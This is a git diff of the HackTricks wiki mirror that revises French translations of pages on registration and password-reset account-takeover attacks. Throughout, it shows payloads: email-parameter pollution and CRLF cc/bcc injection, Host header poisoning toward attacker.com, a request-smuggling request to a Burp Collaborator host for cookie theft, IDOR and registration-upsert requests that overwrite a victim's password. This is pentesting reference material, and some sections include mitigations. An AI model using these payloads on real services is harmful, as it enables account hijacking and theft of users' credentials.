mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/registration-vulnerabilities.md', 's
This commit is contained in:
parent
68c2486c64
commit
aac816765f
@ -1,77 +1,79 @@
|
|||||||
# Vulnérabilités d'Inscription & de Prise de Contrôle
|
# Vulnérabilités d'inscription & de Takeover
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Prise de Contrôle d'Inscription
|
## Registration Takeover
|
||||||
|
|
||||||
### Inscription Dupliquée
|
### Duplicate Registration
|
||||||
|
|
||||||
- Essayez de générer en utilisant un nom d'utilisateur existant
|
- Essayez de créer un compte en utilisant un nom d'utilisateur existant
|
||||||
- Vérifiez en variant l'email :
|
- Vérifiez en variant l'email :
|
||||||
- majuscules
|
- majuscules
|
||||||
- \+1@
|
- \+1@
|
||||||
- ajoutez un point dans l'email
|
- ajoutez des points dans l'adresse e-mail
|
||||||
- caractères spéciaux dans le nom de l'email (%00, %09, %20)
|
- caractères spéciaux dans la partie locale de l'email (%00, %09, %20)
|
||||||
- Mettez des caractères noirs après l'email : `test@test.com a`
|
- Ajoutez des caractères invisibles après l'email : `test@test.com a`
|
||||||
- victim@gmail.com@attacker.com
|
- victim@gmail.com@attacker.com
|
||||||
- victim@attacker.com@gmail.com
|
- victim@attacker.com@gmail.com
|
||||||
|
|
||||||
### Énumération de Noms d'Utilisateur
|
### Username Enumeration
|
||||||
|
|
||||||
Vérifiez si vous pouvez déterminer quand un nom d'utilisateur a déjà été enregistré dans l'application.
|
Vérifiez si vous pouvez déterminer quand un nom d'utilisateur a déjà été enregistré dans l'application.
|
||||||
|
|
||||||
### Politique de Mot de Passe
|
### Password Policy
|
||||||
|
|
||||||
Lors de la création d'un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles).\
|
Lors de la création d'un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles).\
|
||||||
Dans ce cas, vous pouvez essayer de bruteforcer les identifiants.
|
Dans ce cas, vous pouvez tenter de bruteforcer les identifiants.
|
||||||
|
|
||||||
### Injection SQL
|
### SQL Injection
|
||||||
|
|
||||||
[**Vérifiez cette page** ](sql-injection/index.html#insert-statement)pour apprendre comment tenter des prises de contrôle de compte ou extraire des informations via des **injections SQL** dans les formulaires d'inscription.
|
[**Check this page** ](sql-injection/index.html#insert-statement)pour apprendre comment tenter des account takeovers ou extraire des informations via **SQL Injections** dans les formulaires d'enregistrement.
|
||||||
|
|
||||||
|
### Oauth Takeovers
|
||||||
|
|
||||||
### Prises de Contrôle Oauth
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
oauth-to-account-takeover.md
|
oauth-to-account-takeover.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Vulnérabilités SAML
|
### SAML Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
saml-attacks/
|
saml-attacks/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Changer d'Email
|
### Change Email
|
||||||
|
|
||||||
Lors de l'inscription, essayez de changer l'email et vérifiez si ce changement est correctement validé ou si vous pouvez le changer en des emails arbitraires.
|
Une fois inscrit, essayez de changer l'email et vérifiez si ce changement est correctement validé ou s'il est possible de le remplacer par un e-mail arbitraire.
|
||||||
|
|
||||||
### Autres Vérifications
|
### More Checks
|
||||||
|
|
||||||
- Vérifiez si vous pouvez utiliser des **emails jetables**
|
- Vérifiez si vous pouvez utiliser des **emails jetables**
|
||||||
- **Long** **mot de passe** (>200) entraîne un **DoS**
|
- **Mot de passe** **très long** (>200) entraîne un **DoS**
|
||||||
- **Vérifiez les limites de taux sur la création de compte**
|
- **Vérifiez les rate limits sur la création de comptes**
|
||||||
- Utilisez username@**burp_collab**.net et analysez le **callback**
|
- Utilisez username@**burp_collab**.net et analysez le **callback**
|
||||||
|
|
||||||
## **Prise de Contrôle de Réinitialisation de Mot de Passe**
|
## **Password Reset Takeover**
|
||||||
|
|
||||||
### Fuite de Token de Réinitialisation de Mot de Passe Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
### Leak du token de réinitialisation de mot de passe via le Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
|
||||||
|
|
||||||
1. Demandez une réinitialisation de mot de passe à votre adresse email
|
1. Demandez une réinitialisation de mot de passe pour votre adresse e-mail
|
||||||
2. Cliquez sur le lien de réinitialisation de mot de passe
|
2. Cliquez sur le lien de réinitialisation de mot de passe
|
||||||
3. Ne changez pas le mot de passe
|
3. Ne changez pas le mot de passe
|
||||||
4. Cliquez sur n'importe quel site tiers (ex : Facebook, Twitter)
|
4. Cliquez sur n'importe quel site tiers (ex : Facebook, Twitter)
|
||||||
5. Interceptez la requête dans le proxy Burp Suite
|
5. Interceptez la requête dans le proxy de Burp Suite
|
||||||
6. Vérifiez si l'en-tête referer fuit le token de réinitialisation de mot de passe.
|
6. Vérifiez si l'en-tête Referer leak le token de réinitialisation de mot de passe.
|
||||||
|
|
||||||
### Empoisonnement de Réinitialisation de Mot de Passe <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||||
|
|
||||||
1. Interceptez la requête de réinitialisation de mot de passe dans Burp Suite
|
1. Interceptez la requête de réinitialisation dans Burp Suite
|
||||||
2. Ajoutez ou modifiez les en-têtes suivants dans Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
2. Ajoutez ou éditez les en-têtes suivants dans Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||||
3. Transmettez la requête avec l'en-tête modifié\
|
3. Transmettez la requête avec l'en-tête modifié\
|
||||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||||
4. Recherchez une URL de réinitialisation de mot de passe basée sur l'_en-tête host_ comme : `https://attacker.com/reset-password.php?token=TOKEN`
|
4. Cherchez une URL de réinitialisation basée sur l'_host header_ comme : `https://attacker.com/reset-password.php?token=TOKEN`
|
||||||
|
|
||||||
### Réinitialisation de Mot de Passe Via Paramètre Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||||
```bash
|
```bash
|
||||||
# parameter pollution
|
# parameter pollution
|
||||||
email=victim@mail.com&email=hacker@mail.com
|
email=victim@mail.com&email=hacker@mail.com
|
||||||
@ -88,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
|
|||||||
email=victim@mail.com%20hacker@mail.com
|
email=victim@mail.com%20hacker@mail.com
|
||||||
email=victim@mail.com|hacker@mail.com
|
email=victim@mail.com|hacker@mail.com
|
||||||
```
|
```
|
||||||
### IDOR sur les paramètres API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
### IDOR sur les paramètres d'API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||||
|
|
||||||
1. L'attaquant doit se connecter avec son compte et aller à la fonctionnalité **Changer de mot de passe**.
|
1. L'attaquant doit se connecter avec son compte et aller à la fonctionnalité **Change password**.
|
||||||
2. Démarrez Burp Suite et interceptez la requête.
|
2. Démarrez Burp Suite et activez Intercept sur la requête
|
||||||
3. Envoyez-la à l'onglet répéteur et modifiez les paramètres : User ID/email\
|
3. Envoyez-la à l'onglet Repeater et modifiez les paramètres : User ID/email\
|
||||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||||
|
|
||||||
### Jeton de réinitialisation de mot de passe faible <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
### Token de réinitialisation de mot de passe faible <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||||
|
|
||||||
Le jeton de réinitialisation de mot de passe doit être généré aléatoirement et unique à chaque fois.\
|
Le token de réinitialisation de mot de passe doit être généré aléatoirement et unique à chaque fois.\
|
||||||
Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans certains cas, l'algorithme de génération est faible et peut être deviné. Les variables suivantes pourraient être utilisées par l'algorithme.
|
Essayez de déterminer si le token expire ou s'il est toujours le même ; dans certains cas l'algorithme de génération est faible et peut être deviné. Les variables suivantes pourraient être utilisées par l'algorithme.
|
||||||
|
|
||||||
- Horodatage
|
- Timestamp
|
||||||
- UserID
|
- UserID
|
||||||
- Email de l'utilisateur
|
- Email of User
|
||||||
- Prénom et nom de famille
|
- Firstname and Lastname
|
||||||
- Date de naissance
|
- Date of Birth
|
||||||
- Cryptographie
|
- Cryptography
|
||||||
- Numéro uniquement
|
- Number only
|
||||||
- Petite séquence de jeton (caractères entre \[A-Z,a-z,0-9])
|
- Small token sequence ( characters between \[A-Z,a-z,0-9])
|
||||||
- Réutilisation du jeton
|
- Token reuse
|
||||||
- Date d'expiration du jeton
|
- Token expiration date
|
||||||
|
|
||||||
### Fuite du jeton de réinitialisation de mot de passe <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
### Fuite du token de réinitialisation de mot de passe <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||||
|
|
||||||
1. Déclenchez une demande de réinitialisation de mot de passe en utilisant l'API/UI pour un email spécifique, par exemple : test@mail.com
|
1. Déclenchez une demande de réinitialisation de mot de passe via l'API/UI pour un email spécifique, par ex : test@mail.com
|
||||||
2. Inspectez la réponse du serveur et vérifiez `resetToken`
|
2. Inspectez la réponse du serveur et vérifiez la présence de `resetToken`
|
||||||
3. Utilisez ensuite le jeton dans une URL comme `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
3. Ensuite, utilisez le token dans une URL comme `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||||
|
|
||||||
### Réinitialisation de mot de passe via collision de nom d'utilisateur <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
### Réinitialisation de mot de passe via collision de nom d'utilisateur <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||||
|
|
||||||
1. Inscrivez-vous sur le système avec un nom d'utilisateur identique à celui de la victime, mais avec des espaces insérés avant et/ou après le nom d'utilisateur. par exemple : `"admin "`
|
1. Enregistrez-vous sur le système avec un nom d'utilisateur identique à celui de la victime, mais avec des espaces insérés avant et/ou après le nom d'utilisateur. ex : `"admin "`
|
||||||
2. Demandez une réinitialisation de mot de passe avec votre nom d'utilisateur malveillant.
|
2. Demandez une réinitialisation de mot de passe avec votre nom d'utilisateur malveillant.
|
||||||
3. Utilisez le jeton envoyé à votre email et réinitialisez le mot de passe de la victime.
|
3. Utilisez le token envoyé à votre email et réinitialisez le mot de passe de la victime.
|
||||||
4. Connectez-vous au compte de la victime avec le nouveau mot de passe.
|
4. Connectez-vous au compte de la victime avec le nouveau mot de passe.
|
||||||
|
|
||||||
La plateforme CTFd était vulnérable à cette attaque.\
|
La plateforme CTFd était vulnérable à cette attaque.\
|
||||||
Voir : [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
Voir : [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||||
|
|
||||||
### Prise de contrôle de compte via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
### Prise de contrôle du compte via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||||
|
|
||||||
1. Trouvez un XSS à l'intérieur de l'application ou d'un sous-domaine si les cookies sont limités au domaine parent : `*.domain.com`
|
1. Trouvez un XSS dans l'application ou sur un sous-domaine si les cookies sont limités au domaine parent : `*.domain.com`
|
||||||
2. Fuite du **cookie de session** actuel
|
2. Exfiltrer le **sessions cookie** actuel
|
||||||
3. Authentifiez-vous en tant qu'utilisateur en utilisant le cookie
|
3. Authentifiez-vous en tant qu'utilisateur en utilisant le cookie
|
||||||
|
|
||||||
### Prise de contrôle de compte via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
### Prise de contrôle du compte via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||||
|
|
||||||
1\. Utilisez **smuggler** pour détecter le type de HTTP Request Smuggling (CL, TE, CL.TE)\
|
1\. Utilisez **smuggler** pour détecter le type de HTTP Request Smuggling (CL, TE, CL.TE)\
|
||||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||||
2\. Créez une requête qui écrasera le `POST / HTTP/1.1` avec les données suivantes :\
|
2\. Confectionnez une requête qui écrasera le `POST / HTTP/1.1` avec les données suivantes :\
|
||||||
`GET http://something.burpcollaborator.net HTTP/1.1 X:` dans le but de rediriger les victimes vers burpcollab et de voler leurs cookies\
|
`GET http://something.burpcollaborator.net HTTP/1.1 X:` dans le but d'entraîner un open redirect des victimes vers burpcollab et de voler leurs cookies\
|
||||||
3\. La requête finale pourrait ressembler à ce qui suit
|
3\. La requête finale pourrait ressembler à la suivante
|
||||||
```
|
```
|
||||||
GET / HTTP/1.1
|
GET / HTTP/1.1
|
||||||
Transfer-Encoding: chunked
|
Transfer-Encoding: chunked
|
||||||
@ -151,29 +153,50 @@ Content-Length: 83
|
|||||||
GET http://something.burpcollaborator.net HTTP/1.1
|
GET http://something.burpcollaborator.net HTTP/1.1
|
||||||
X: X
|
X: X
|
||||||
```
|
```
|
||||||
Hackerone signale l'exploitation de ce bug\
|
Hackerone reports exploiting this bug\
|
||||||
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
|
||||||
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
|
||||||
|
|
||||||
### Prise de contrôle de compte via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
### Détournement de compte via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
|
||||||
|
|
||||||
1. Créez un payload pour le CSRF, par exemple : “formulaire HTML avec soumission automatique pour un changement de mot de passe”
|
1. Créez un payload pour le CSRF, par ex. : “formulaire HTML avec soumission automatique pour un changement de mot de passe”
|
||||||
2. Envoyez le payload
|
2. Envoyez le payload
|
||||||
|
|
||||||
### Prise de contrôle de compte via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
### Détournement de compte via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||||
|
|
||||||
JSON Web Token peut être utilisé pour authentifier un utilisateur.
|
JSON Web Token peut être utilisé pour authentifier un utilisateur.
|
||||||
|
|
||||||
- Modifiez le JWT avec un autre ID d'utilisateur / Email
|
- Modifier le JWT avec un autre User ID / Email
|
||||||
- Vérifiez la signature JWT faible
|
- Vérifier la présence d'une signature JWT faible
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
hacking-jwt-json-web-tokens.md
|
hacking-jwt-json-web-tokens.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
## Inscription comme réinitialisation (Upsert on Existing Email)
|
||||||
|
|
||||||
|
Certains signup handlers effectuent un upsert lorsque l'email fourni existe déjà. Si l'endpoint accepte un corps minimal avec un email et un password et n'applique pas de vérification de propriété, envoyer l'email de la victime écrasera son mot de passe pre-auth.
|
||||||
|
|
||||||
|
- Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
|
||||||
|
- Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
|
||||||
|
- Minimal body observed in the wild:
|
||||||
|
```json
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
|
Exemple de PoC :
|
||||||
|
```http
|
||||||
|
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||||
|
Host: www.target.tld
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
|
Impact : Full Account Takeover (ATO) sans aucun reset token, OTP, ni vérification par e-mail.
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
|
- [Comment j'ai trouvé un bug critique de réinitialisation de mot de passe (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||||
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -1,122 +1,122 @@
|
|||||||
# Reset/Forgotten Password Bypass
|
# Contournement de réinitialisation / mot de passe oublié
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## **Password Reset Token Leak Via Referrer**
|
## **Password Reset Token Leak Via Referrer**
|
||||||
|
|
||||||
- L'en-tête HTTP referer peut leak le password reset token s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé une réinitialisation de mot de passe.
|
- Le HTTP referer header peut leak le password reset token s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers après avoir demandé un password reset.
|
||||||
- **Impact** : Prise de contrôle potentielle de compte via des attaques Cross-Site Request Forgery (CSRF).
|
- **Impact** : Potentielle prise de contrôle de compte via des attaques Cross-Site Request Forgery (CSRF).
|
||||||
- **Exploitation** : Pour vérifier si un password reset token leak dans le referer header, **demandez une réinitialisation de mot de passe** vers votre adresse email et **cliquez sur le lien de réinitialisation** fourni. **Ne changez pas votre mot de passe** immédiatement. Au lieu de cela, **naviguez vers un site tiers** (comme Facebook ou Twitter) tout en **interceptant les requêtes avec Burp Suite**. Inspectez les requêtes pour voir si le **referer header contient le password reset token**, car cela pourrait exposer des informations sensibles à des tiers.
|
- **Exploitation** : Pour vérifier si un password reset token leak dans le referer header, **demandez un password reset** sur votre adresse email et **cliquez sur le reset link** fourni. **Ne changez pas votre password** immédiatement. Au lieu de cela, **naviguez vers un site tiers** (comme Facebook ou Twitter) tout en **interceptant les requêtes avec Burp Suite**. Inspectez les requêtes pour voir si le **referer header contient le password reset token**, car cela pourrait exposer des informations sensibles à des tiers.
|
||||||
- **Références** :
|
- **References**:
|
||||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||||
|
|
||||||
## **Password Reset Poisoning**
|
## **Password Reset Poisoning**
|
||||||
|
|
||||||
- Les attaquants peuvent manipuler le Host header pendant les requêtes de password reset pour pointer le reset link vers un site malveillant.
|
- Les attaquants peuvent manipuler le Host header durant les password reset requests pour pointer le reset link vers un site malveillant.
|
||||||
- **Impact** : Peut conduire à une prise de contrôle de compte potentielle via le leak des reset tokens vers les attaquants.
|
- **Impact** : Conduit à une prise de contrôle potentielle de comptes en leaking des reset tokens vers les attaquants.
|
||||||
- **Mesures d'atténuation** :
|
- **Mitigation Steps** :
|
||||||
- Valider le Host header contre une whitelist de domaines autorisés.
|
- Validez le Host header contre une whitelist de domaines autorisés.
|
||||||
- Utiliser des méthodes serveur sécurisées pour générer des URLs absolues.
|
- Utilisez des méthodes server-side sécurisées pour générer des URLs absolues.
|
||||||
- **Patch** : Utiliser `$_SERVER['SERVER_NAME']` pour construire les password reset URLs au lieu de `$_SERVER['HTTP_HOST']`.
|
- **Patch** : Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
|
||||||
- **Références** :
|
- **References**:
|
||||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||||
|
|
||||||
## **Password Reset By Manipulating Email Parameter**
|
## **Password Reset By Manipulating Email Parameter**
|
||||||
|
|
||||||
Les attaquants peuvent manipuler la requête de password reset en ajoutant des paramètres email supplémentaires pour détourner le lien de réinitialisation.
|
Les attaquants peuvent manipuler la password reset request en ajoutant des paramètres email supplémentaires pour détourner le reset link.
|
||||||
|
|
||||||
- Ajouter l'email de l'attaquant comme second paramètre en utilisant &
|
- Ajoutez l'email de l'attaquant en tant que second paramètre en utilisant &
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com&email=attacker@email.com
|
email=victim@email.com&email=attacker@email.com
|
||||||
```
|
```
|
||||||
- Ajoutez l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant %20
|
- Ajouter attacker email comme deuxième paramètre en utilisant %20
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com%20email=attacker@email.com
|
email=victim@email.com%20email=attacker@email.com
|
||||||
```
|
```
|
||||||
Ajoutez l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant |
|
- Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant |
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com|email=attacker@email.com
|
email=victim@email.com|email=attacker@email.com
|
||||||
```
|
```
|
||||||
Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant cc
|
Ajoutez l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant cc
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||||
```
|
```
|
||||||
- Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant bcc
|
- Ajoutez l'adresse e-mail de l'attacker comme deuxième paramètre en utilisant bcc
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||||
```
|
```
|
||||||
- Ajouter l'adresse e-mail de l'attaquant comme deuxième paramètre en utilisant ,
|
- Ajoutez attacker email comme deuxième paramètre en utilisant ,
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email="victim@mail.tld",email="attacker@mail.tld"
|
email="victim@mail.tld",email="attacker@mail.tld"
|
||||||
```
|
```
|
||||||
- Ajouter l'email de l'attaquant comme deuxième paramètre dans le tableau json
|
- Ajouter attacker email comme deuxième paramètre dans json array
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||||
```
|
```
|
||||||
- **Mesures d'atténuation**:
|
- **Mesures d'atténuation**:
|
||||||
- Analyser et valider correctement les paramètres d'adresse e-mail côté serveur.
|
- Analyser et valider correctement les paramètres email côté serveur.
|
||||||
- Utiliser des prepared statements ou des requêtes paramétrées pour prévenir les attaques par injection.
|
- Utiliser des prepared statements ou des parameterized queries pour prévenir les injection attacks.
|
||||||
- **Références**:
|
- **Références**:
|
||||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||||
|
|
||||||
## **Modification de l'email et du mot de passe de n'importe quel utilisateur via les paramètres API**
|
## **Modification de l'Email et du Password de n'importe quel utilisateur via les paramètres API**
|
||||||
|
|
||||||
- Les attaquants peuvent modifier les paramètres d'adresse e-mail et de mot de passe dans les requêtes API pour changer les identifiants du compte.
|
- Les attackers peuvent modifier les paramètres email et password dans les requêtes API pour changer les identifiants du compte.
|
||||||
```php
|
```php
|
||||||
POST /api/changepass
|
POST /api/changepass
|
||||||
[...]
|
[...]
|
||||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||||
```
|
```
|
||||||
- **Étapes d'atténuation**:
|
- **Étapes d'atténuation**:
|
||||||
- Assurer une validation stricte des paramètres et des vérifications d'authentification.
|
- Assurez une validation stricte des paramètres et des contrôles d'authentification.
|
||||||
- Mettre en place des logs et une surveillance robustes pour détecter et répondre aux activités suspectes.
|
- Mettez en place une journalisation et une surveillance robustes pour détecter et répondre aux activités suspectes.
|
||||||
- **Référence**:
|
- **Référence**:
|
||||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||||
|
|
||||||
## **Absence de limitation de débit : Email Bombing**
|
## **Absence de rate limiting: Email Bombing**
|
||||||
|
|
||||||
- L'absence de limitation de débit sur les requêtes de réinitialisation de mot de passe peut conduire à de l'Email Bombing, submergeant l'utilisateur par des e-mails de réinitialisation.
|
- L'absence de rate limiting sur les demandes de password reset peut conduire à de l'email bombing, submergeant l'utilisateur d'emails de reset.
|
||||||
- **Étapes d'atténuation**:
|
- **Étapes d'atténuation**:
|
||||||
- Implémenter une limitation de débit basée sur l'adresse IP ou le compte utilisateur.
|
- Mettre en place du rate limiting basé sur l'adresse IP ou le compte utilisateur.
|
||||||
- Utiliser des défis CAPTCHA pour empêcher l'abus automatisé.
|
- Utiliser des challenges CAPTCHA pour prévenir les abus automatisés.
|
||||||
- **Références**:
|
- **Références**:
|
||||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||||
|
|
||||||
## **Découvrir comment le Password Reset Token est généré**
|
## **Find out How Password Reset Token is Generated**
|
||||||
|
|
||||||
- Comprendre le schéma ou la méthode derrière la génération du token peut permettre de prédire ou de brute-forcer les tokens. Quelques options :
|
- Comprendre le schéma ou la méthode de génération des tokens peut permettre de prédire ou brute-forcer des tokens. Quelques options :
|
||||||
- Basé sur l'horodatage
|
- Based Timestamp
|
||||||
- Basé sur l'ID utilisateur
|
- Based on the UserID
|
||||||
- Basé sur l'email de l'utilisateur
|
- Based on email of User
|
||||||
- Basé sur le prénom et le nom
|
- Based on Firstname and Lastname
|
||||||
- Basé sur la date de naissance
|
- Based on Date of Birth
|
||||||
- Basé sur la cryptographie
|
- Based on Cryptography
|
||||||
- **Étapes d'atténuation**:
|
- **Étapes d'atténuation**:
|
||||||
- Utiliser des méthodes cryptographiques solides pour la génération des tokens.
|
- Utiliser des méthodes cryptographiques fortes pour la génération des tokens.
|
||||||
- Assurer une entropie et une longueur suffisantes pour éviter toute prévisibilité.
|
- Assurer une entropie et une longueur suffisantes pour éviter la prévisibilité.
|
||||||
- **Outils**: Utiliser Burp Sequencer pour analyser l'aléa des tokens.
|
- **Outils**: Use Burp Sequencer to analyze the randomness of tokens.
|
||||||
|
|
||||||
